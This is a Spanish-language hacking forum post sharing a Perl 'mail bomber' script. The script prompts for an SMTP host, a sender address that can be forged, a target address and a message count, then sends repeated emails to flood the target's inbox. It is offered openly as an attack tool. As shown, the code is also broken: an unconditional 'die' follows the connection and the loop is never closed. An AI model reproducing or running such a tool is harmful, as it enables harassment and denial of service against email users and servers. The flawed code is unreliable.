This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

Mail Bomber

  • 0 Replies
  • 2414 Views

0 Members and 1 Guest are viewing this topic.

Offline ProcessKill

  • *
  • Underc0der
  • Posts: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • View Profile
    • Email

Mail Bomber

  • on: February 24, 2010, 04:31:09 pm
Codigo de un mail bomber programado en PERL

Code: (perl) You are not allowed to view links. Register or Login
#!/usr/bin/perl
print "        |---------------------------------------------|\n";
print "        |            Mail bomber by Erik              |\n";
print "        |          Created for Code-Maker.es          |\n";
print "        |          [email protected]            |\n";
print "        |---------------------------------------------|\n";
use Net::SMTP;
print "Buenas, cuantos mails bombs deseas hacer:";
$n = <STDIN>;
print "Introduzca el mailhost al que desea solicitar la conexion:";
$mailhost = <STDIN>;
print "Introduzca el email que desea utilizar:";
$emailfrom = <STDIN>;
print "Introduzca el email que desea bombear:";
$emailto = <STDIN>;
print "Introduzca el asunto del correo:";
$asunto = <STDIN>;
print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\r...)):";
$sms = <STDIN>;
for ($a=1;$a<=$n;$a++) {
$smtp = Net::SMTP->new("$mailhost",
Hello => "$mailhost",
Timeout =>25,
Debug   =>1,
);
die "No se ha podido conectar al servidor";
print $smtp->domain,"\n";
$smtp->mail("$emailfrom");
$smtp->to("$emailto");
$smtp->data();
$smtp->datasend("To: $emailto");
$smtp->datasend("From: $emailfrom");
$smtp->datasend("Subject:$asunto\n");
$smtp->datasend("$sms");
$smtp->dataend();
$smtp->quit();

 8)
« Last Edit: March 14, 2015, 09:42:09 am by Expermicid »